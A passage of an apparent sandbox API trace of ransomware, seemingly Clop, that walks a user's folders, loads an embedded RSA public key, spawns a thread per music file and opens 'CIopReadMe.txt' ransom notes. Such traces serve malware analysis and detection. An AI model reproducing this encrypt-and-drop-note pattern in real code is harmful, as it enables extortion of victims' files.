lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" [0094.613] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\" [0094.614] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\" [0094.614] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*" [0094.614] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x5c3310 [0094.614] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="Links" [0094.614] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Links" | out: lpString1="Links") returned="Links" [0094.614] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0094.614] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0094.614] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0094.614] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0094.614] lstrlenW (lpString="desktop.ini") returned 11 [0094.614] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0094.614] FindClose (in: hFindFile=0x5c3310 | out: hFindFile=0x5c3310) returned 1 [0094.614] FindClose (in: hFindFile=0x5c3310 | out: hFindFile=0x5c3310) returned 0 [0094.614] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" [0094.614] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*" [0094.614] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x5c3450 [0094.614] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="Links" [0094.614] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Links" | out: lpString1="Links") returned="Links" [0094.614] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0094.614] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0094.614] FindNextFileW (in: hFindFile=0x5c3450, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0094.614] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0094.614] FindNextFileW (in: hFindFile=0x5c3450, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0094.614] FindNextFileW (in: hFindFile=0x5c3450, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0094.615] FindClose (in: hFindFile=0x5c3450 | out: hFindFile=0x5c3450) returned 1 [0094.615] FindClose (in: hFindFile=0x5c3450 | out: hFindFile=0x5c3450) returned 0 [0094.615] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0094.615] FindClose (in: hFindFile=0x5c3910 | out: hFindFile=0x5c3910) returned 1 [0094.615] FindClose (in: hFindFile=0x5c3910 | out: hFindFile=0x5c3910) returned 0 [0094.615] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0094.615] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0094.615] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0094.615] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0094.615] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0094.615] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links" [0094.615] SetErrorMode (uMode=0x1) returned 0x1 [0094.615] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links" [0094.615] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\" [0094.615] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Links\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\" [0094.615] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*" [0094.615] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x5c3310 [0094.615] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="Links" [0094.615] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0094.615] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.615] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.615] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0094.616] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0094.616] lstrlenW (lpString="desktop.ini") returned 11 [0094.616] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.616] lstrcmpW (lpString1="Desktop.lnk", lpString2="..") returned 1 [0094.616] lstrcmpW (lpString1="Desktop.lnk", lpString2=".") returned 1 [0094.616] lstrlenW (lpString=".LNK") returned 4 [0094.616] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.616] lstrcmpW (lpString1="Downloads.lnk", lpString2="..") returned 1 [0094.616] lstrcmpW (lpString1="Downloads.lnk", lpString2=".") returned 1 [0094.616] lstrlenW (lpString=".LNK") returned 4 [0094.616] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.616] lstrcmpW (lpString1="OneDrive.lnk", lpString2="..") returned 1 [0094.616] lstrcmpW (lpString1="OneDrive.lnk", lpString2=".") returned 1 [0094.616] lstrlenW (lpString=".LNK") returned 4 [0094.616] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0094.616] FindClose (in: hFindFile=0x5c3310 | out: hFindFile=0x5c3310) returned 1 [0094.616] FindClose (in: hFindFile=0x5c3310 | out: hFindFile=0x5c3310) returned 0 [0094.616] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links" [0094.616] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*" [0094.616] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x5c3910 [0094.616] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="Links" [0094.616] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0094.616] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0094.616] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0094.616] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.616] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0094.616] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.616] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.616] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.616] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.616] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0094.617] FindClose (in: hFindFile=0x5c3910 | out: hFindFile=0x5c3910) returned 1 [0094.617] FindClose (in: hFindFile=0x5c3910 | out: hFindFile=0x5c3910) returned 0 [0094.617] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0094.617] lstrcmpW (lpString1="Local Settings", lpString2="..") returned 1 [0094.617] lstrcmpW (lpString1="Local Settings", lpString2=".") returned 1 [0094.617] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0094.617] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0094.617] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" [0094.617] SetErrorMode (uMode=0x1) returned 0x1 [0094.617] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" [0094.617] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\" [0094.617] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\" [0094.617] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*" [0094.617] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0094.617] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="Local Settings" [0094.617] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0094.617] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0094.617] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" [0094.617] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*" [0094.617] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0094.617] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="Local Settings" [0094.617] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0094.617] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0094.617] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0094.617] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0094.617] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0094.617] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0094.617] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0094.617] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0094.617] SetErrorMode (uMode=0x1) returned 0x1 [0094.618] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0094.618] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0094.618] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0094.618] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*" [0094.618] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x5c3910 [0094.618] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="Music" [0094.618] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0094.618] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.618] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.618] lstrcmpW (lpString1="2G6M.mp3", lpString2="..") returned 1 [0094.618] lstrcmpW (lpString1="2G6M.mp3", lpString2=".") returned 1 [0094.618] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned 32 [0094.618] Sleep (dwMilliseconds=0xd) [0094.637] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0094.637] lstrcpyW (in: lpString1=0x2dc93de, lpString2="2G6M.mp3" | out: lpString1="2G6M.mp3") returned="2G6M.mp3" [0094.637] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0094.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0094.638] WaitForSingleObject (hHandle=0x418, dwMilliseconds=0xffffffff) returned 0x0 [0094.687] SetErrorMode (uMode=0x1) returned 0x1 [0094.687] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\CIopReadMe.txt") returned 42 [0094.687] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0094.687] CloseHandle (hObject=0x410) returned 1 [0094.687] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.687] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0094.687] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0094.687] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0094.687] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.687] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0094.688] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0094.688] lstrlenW (lpString="desktop.ini") returned 11 [0094.688] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.688] lstrcmpW (lpString1="eEmxkUZ3.wav", lpString2="..") returned 1 [0094.688] lstrcmpW (lpString1="eEmxkUZ3.wav", lpString2=".") returned 1 [0094.688] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned 32 [0094.688] Sleep (dwMilliseconds=0xd) [0094.716] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0094.716] lstrcpyW (in: lpString1=0x2dc93de, lpString2="eEmxkUZ3.wav" | out: lpString1="eEmxkUZ3.wav") returned="eEmxkUZ3.wav" [0094.716] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0094.716] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410 [0094.716] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0xffffffff) returned 0x0 [0094.760] SetErrorMode (uMode=0x1) returned 0x1 [0094.760] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\CIopReadMe.txt") returned 42 [0094.760] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0094.760] CloseHandle (hObject=0x494) returned 1 [0094.761] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.761] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.761] lstrcmpW (lpString1="I8Dv-9gTrMuD.mp3", lpString2="..") returned 1 [0094.761] lstrcmpW (lpString1="I8Dv-9gTrMuD.mp3", lpString2=".") returned 1 [0094.761] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned 32 [0094.761] Sleep (dwMilliseconds=0xd) [0094.778] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0094.778] lstrcpyW (in: lpString1=0x2dc93de, lpString2="I8Dv-9gTrMuD.mp3" | out: lpString1="I8Dv-9gTrMuD.mp3") returned="I8Dv-9gTrMuD.mp3" [0094.778] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0094.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0094.779] SetErrorMode (uMode=0x1) returned 0x1 [0094.779] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\CIopReadMe.txt") returned 42 [0094.779] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0094.779] CloseHandle (hObject=0x4a4) returned 1 [0094.779] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.779] lstrcmpW (lpString1="N0rL.wav", lpString2="..") returned 1 [0094.779] lstrcmpW (lpString1="N0rL.wav", lpString2=".") returned 1 [0094.779] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned 32 [0094.779] Sleep (dwMilliseconds=0xd) [0094.794] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- 